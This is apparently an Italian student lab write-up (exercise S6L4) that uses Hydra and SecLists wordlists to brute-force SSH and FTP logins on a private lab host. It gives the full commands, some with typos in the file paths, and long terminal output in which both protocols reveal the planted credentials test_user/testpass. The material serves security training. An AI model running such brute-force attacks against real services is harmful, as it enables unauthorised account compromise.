

S6L4

La traccia ci chiede di eseguire attacchi tramite Hydra.

Hydra è un software che dati dei dizionari li utilizza per eseguire attacchi di tipo bruteforce a dizionario.

Possiamo utilizzare Hydra per diversi protocolli, in questo caso lo useremo sia per SSH che per FTP.

Ovviamente abbiamo scaricato i dizionari da utilizzare sia per trovare il nome utente sia per trovare la password.

Fra i vari dizionari troviamo quelli utili agli attacchi brute force su reti Wi-Fi, e molti altri dizionari, ognuno utile ad un suo scopo.

Per i nostri scopi abbiamo bisogno di altri tipi di dizionari;

xato-net-10-million-usernames.txt, questo dizionario lo utilizzeremo per trovare l'username, ovviamente abbiamo inserito fra i primi risultati il nome del nostro user, la ricerca altrimenti potrebbe durare ore, giorni o addirittura settimane.

xato-net-10-million-passwords-1000000.tx, questo dizionario lo utilizzeremo per trovare la password, ovviamente abbiamo inserito fra i primi risultati la nostra vera password, altrimenti anche in questo caso la ricerca potrebbe durare ore, giorni o settimane.

Il primo obiettivo è attaccare tramite brute force a dizionario sul protocollo SSH, scriviamo il seguente codice:

hydra -L

**/usr/share/seclists/Usernames/xato-net-10-million-usernames.txt **

-P

/usr/share/seclists/Passwords/xato-net-10-million-passwords-1000000.tx

**t **

-V 192.168.50.100 -t4 ssh

```
Applications Places Terminal

[ATTEMPT] target 192.168.50.100 - login "test_user" - pass "dragon" - 10 of 8295464295456 [child 0] (0/0)
[ATTEMPT] target 192.168.50.100 - login "test_user" - pass "123123" - 11 of 8295464295456 [child 2] (0/0)
[ATTEMPT] target 192.168.50.100 - login "test_user" - pass "baseball" - 12 of 8295464295456 [child 3] (0/0)
[ATTEMPT] target 192.168.50.100 - login "test_user" - pass "abc123" - 13 of 8295464295456 [child 1] (0/0)
[ATTEMPT] target 192.168.50.100 - login "test_user" - pass "football" - 14 of 8295464295456 [child 0] (0/0)
[ATTEMPT] target 192.168.50.100 - login "test_user" - pass "monkey" - 15 of 8295464295456 [child 2] (0/0)
[ATTEMPT] target 192.168.50.100 - login "test_user" - pass "letmein" - 16 of 8295464295456 [child 3] (0/0)
[ATTEMPT] target 192.168.50.100 - login "test_user" - pass "696969" - 17 of 8295464295456 [child 1] (0/0)
[ATTEMPT] target 192.168.50.100 - login "test_user" - pass "shadow" - 18 of 8295464295456 [child 0] (0/0)
[ATTEMPT] target 192.168.50.100 - login "test_user" - pass "master" - 19 of 8295464295456 [child 2] (0/0)
[ATTEMPT] target 192.168.50.100 - login "test_user" - pass "666666" - 20 of 8295464295456 [child 3] (0/0)
[ATTEMPT] target 192.168.50.100 - login "test_user" - pass "qwertyuiop" - 21 of 8295464295456 [child 1] (0/0)
[ATTEMPT] target 192.168.50.100 - login "test_user" - pass "123321" - 22 of 8295464295456 [child 0] (0/0)
[ATTEMPT] target 192.168.50.100 - login "test_user" - pass "mustang" - 23 of 8295464295456 [child 2] (0/0)
[ATTEMPT] target 192.168.50.100 - login "test_user" - pass "1234567890" - 24 of 8295464295456 [child 3] (0/0)
[ATTEMPT] target 192.168.50.100 - login "test_user" - pass "michael" - 25 of 8295464295456 [child 1] (0/0)
[ATTEMPT] target 192.168.50.100 - login "test_user" - pass "654321" - 26 of 8295464295456 [child 0] (0/0)
[ATTEMPT] target 192.168.50.100 - login "test_user" - pass "pussy" - 27 of 8295464295456 [child 0] (0/0)
[ATTEMPT] target 192.168.50.100 - login "test_user" - pass "superman" - 28 of 8295464295456 [child 3] (0/0)
[ATTEMPT] target 192.168.50.100 - login "test_user" - pass "1qaz2wsx" - 29 of 8295464295456 [child 1] (0/0)
[ATTEMPT] target 192.168.50.100 - login "test_user" - pass "7777777" - 30 of 8295464295456 [child 2] (0/0)
[ATTEMPT] target 192.168.50.100 - login "test_user" - pass "fuckyou" - 31 of 8295464295456 [child 0] (0/0)
[ATTEMPT] target 192.168.50.100 - login "test_user" - pass "121212" - 32 of 8295464295456 [child 3] (0/0)
[ATTEMPT] target 192.168.50.100 - login "test_user" - pass "000000" - 33 of 8295464295456 [child 1] (0/0)
[ATTEMPT] target 192.168.50.100 - login "test_user" - pass "qazwsx" - 34 of 8295464295456 [child 2] (0/0)
[ATTEMPT] target 192.168.50.100 - login "test_user" - pass "123qwe" - 35 of 8295464295456 [child 0] (0/0)
[ATTEMPT] target 192.168.50.100 - login "test_user" - pass "killer" - 36 of 8295464295456 [child 3] (0/0)
[ATTEMPT] target 192.168.50.100 - login "test_user" - pass "trustno1" - 37 of 8295464295456 [child 1] (0/0)
[ATTEMPT] target 192.168.50.100 - login "test_user" - pass "jordan" - 38 of 8295464295456 [child 2] (0/0)
[STATUS] 38.00 tries/min, 38 tries in 00:01h, 8295464295418 to do in 3638361533:05h, 4 active
[ATTEMPT] target 192.168.50.100 - login "test_user" - pass "jennifer" - 39 of 8295464295456 [child 0] (0/0)
[ATTEMPT] target 192.168.50.100 - login "test_user" - pass "testpass" - 40 of 8295464295456 [child 3] (0/0)
[22][ssh] host: 192.168.50.100 login: test_user password: testpass
[ATTEMPT] target 192.168.50.100 - login "info" - pass "123456" - 1000002 of 8295464295456 [child 3] (0/0)
[ATTEMPT] target 192.168.50.100 - login "info" - pass "password" - 1000003 of 8295464295456 [child 3] (0/0)
[ATTEMPT] target 192.168.50.100 - login "info" - pass "12345678" - 1000004 of 8295464295456 [child 2] (0/0)
[ATTEMPT] target 192.168.50.100 - login "info" - pass "qwerty" - 1000005 of 8295464295456 [child 1] (0/0)
[ATTEMPT] target 192.168.50.100 - login "info" - pass "123456789" - 1000006 of 8295464295456 [child 0] (0/0)
[ATTEMPT] target 192.168.50.100 - login "info" - pass "12345" - 1000007 of 8295464295456 [child 3] (0/0)
[ATTEMPT] target 192.168.50.100 - login "info" - pass "1234" - 1000008 of 8295464295456 [child 1] (0/0)
[ATTEMPT] target 192.168.50.100 - login "info" - pass "111111" - 1000009 of 8295464295456 [child 2] (0/0)
```

Il secondo punto/obiettivo della traccia è eseguire lo stesso attacco brute force a dizionario, ma questa volta utilizzeremo il protocollo FTP.

Utilizzeremo gli stessi dizionari già utilizzati durante l'attacco tramite ssh.

Questo è il codice che utilizzeremo:

hydra -L

**/usr/share/seclists/Username/xato-net-10-million-username.txt **

-P

**/usr/share/seclists/Passwords/xato-net-10-million-passwords-1000000.txt **

-V 192.168.50.100 -t4 ftp

```
[ATTEMPT] target 192.168.50.100 - login "test_user" - pass "monkey" - 15 of 8295464295456 [child 0] (0/0)
[ATTEMPT] target 192.168.50.100 - login "test_user" - pass "letmein" - 16 of 8295464295456 [child 1] (0/0)
[ATTEMPT] target 192.168.50.100 - login "test_user" - pass "696969" - 17 of 8295464295456 [child 2] (0/0)
[ATTEMPT] target 192.168.50.100 - login "test_user" - pass "shadow" - 18 of 8295464295456 [child 3] (0/0)
[ATTEMPT] target 192.168.50.100 - login "test_user" - pass "master" - 19 of 8295464295456 [child 0] (0/0)
[ATTEMPT] target 192.168.50.100 - login "test_user" - pass "666666" - 20 of 8295464295456 [child 1] (0/0)
[ATTEMPT] target 192.168.50.100 - login "test_user" - pass "qwertyuiop" - 21 of 8295464295456 [child 2] (0/0)
[ATTEMPT] target 192.168.50.100 - login "test_user" - pass "123321" - 22 of 8295464295456 [child 3] (0/0)
[ATTEMPT] target 192.168.50.100 - login "test_user" - pass "mustang" - 23 of 8295464295456 [child 0] (0/0)
[ATTEMPT] target 192.168.50.100 - login "test_user" - pass "1234567890" - 24 of 8295464295456 [child 1] (0/0)
[ATTEMPT] target 192.168.50.100 - login "test_user" - pass "michael" - 25 of 8295464295456 [child 2] (0/0)
[ATTEMPT] target 192.168.50.100 - login "test_user" - pass "654321" - 26 of 8295464295456 [child 3] (0/0)
[ATTEMPT] target 192.168.50.100 - login "test_user" - pass "pussy" - 27 of 8295464295456 [child 0] (0/0)
[ATTEMPT] target 192.168.50.100 - login "test_user" - pass "superman" - 28 of 8295464295456 [child 1] (0/0)
[ATTEMPT] target 192.168.50.100 - login "test_user" - pass "1qaz2wsx" - 29 of 8295464295456 [child 2] (0/0)
[ATTEMPT] target 192.168.50.100 - login "test_user" - pass "7777777" - 30 of 8295464295456 [child 3] (0/0)
[ATTEMPT] target 192.168.50.100 - login "test_user" - pass "fuckyou" - 31 of 8295464295456 [child 0] (0/0)
[ATTEMPT] target 192.168.50.100 - login "test_user" - pass "121212" - 32 of 8295464295456 [child 1] (0/0)
[ATTEMPT] target 192.168.50.100 - login "test_user" - pass "000000" - 33 of 8295464295456 [child 2] (0/0)
[ATTEMPT] target 192.168.50.100 - login "test_user" - pass "qazwsx" - 34 of 8295464295456 [child 3] (0/0)
[ATTEMPT] target 192.168.50.100 - login "test_user" - pass "123qwe" - 35 of 8295464295456 [child 0] (0/0)
[ATTEMPT] target 192.168.50.100 - login "test_user" - pass "killer" - 36 of 8295464295456 [child 1] (0/0)
[ATTEMPT] target 192.168.50.100 - login "test_user" - pass "trustno1" - 37 of 8295464295456 [child 2] (0/0)
[ATTEMPT] target 192.168.50.100 - login "test_user" - pass "jordan" - 38 of 8295464295456 [child 3] (0/0)
[ATTEMPT] target 192.168.50.100 - login "test_user" - pass "jennifer" - 39 of 8295464295456 [child 0] (0/0)
[ATTEMPT] target 192.168.50.100 - login "test_user" - pass "testpass" - 40 of 8295464295456 [child 1] (0/0)
[21][ftp] host: 192.168.50.100 login: test_user password: testpass
[ATTEMPT] target 192.168.50.100 - login "info" - pass "123456" - 1000002 of 8295464295456 [child 1] (0/0)
[ATTEMPT] target 192.168.50.100 - login "info" - pass "password" - 1000003 of 8295464295456 [child 2] (0/0)
[ATTEMPT] target 192.168.50.100 - login "info" - pass "12345678" - 1000004 of 8295464295456 [child 0] (0/0)
[ATTEMPT] target 192.168.50.100 - login "info" - pass "qwerty" - 1000005 of 8295464295456 [child 3] (0/0)
[ATTEMPT] target 192.168.50.100 - login "info" - pass "123456789" - 1000006 of 8295464295456 [child 1] (0/0)
```

Come da screen, anche questa volta siamo riusciti a trovare il nome utente e la password, ovviamente questa volta utilizzando il protocollo FTP.